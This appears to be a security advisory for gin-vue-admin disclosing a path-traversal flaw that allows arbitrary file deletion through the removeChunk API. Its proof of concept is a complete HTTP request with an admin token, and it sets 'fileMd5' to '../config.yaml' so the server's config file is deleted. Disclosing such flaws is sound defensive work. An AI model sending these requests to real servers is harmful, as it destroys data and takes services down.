Impact Attackers can delete any file on the server at will, causing damage or unavailability of server resources. Attackers can control the 'FileMd5' parameter to delete any file and folder

The affected code: !image (1)

Affected interfaces: /api/fileUploadAndDownload/removeChunk

POC: You can specify the FileMd5 value as the directory or file you want to delete

POST /api/fileUploadAndDownload/removeChunk HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 78 sec-ch-ua: "Not=A?Brand";v="99", "Chromium";v="118" x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiOGYzYTdjMmMtYjAwMC00ODFmLWEyNGYtYzQyMDc2NTFjNWRmIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTc2MzIxNDQzMywibmJmIjoxNzYyNjA5NjMzfQ.7BTnRq65JDiPdlb0gJuAUa2nifIDTtePsnDnAtZoFJQ sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36 Content-Type: application/json Accept: application/json, text/plain, / x-user-id: 1 sec-ch-ua-platform: "Windows" Origin: http://127.0.0.1:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8080/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiOGYzYTdjMmMtYjAwMC00ODFmLWEyNGYtYzQyMDc2NTFjNWRmIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTc2MzIxNDQzMywibmJmIjoxNzYyNjA5NjMzfQ.7BTnRq65JDiPdlb0gJuAUa2nifIDTtePsnDnAtZoFJQ Connection: close

{"fileName":"ceshi.jpg","fileMd5":"../config.yaml","filePath":"./fileDir/ceshi.jpg"} !image (2)

Patches Please wait for the latest patch

References https://github.com/flipped-aurora/gin-vue-admin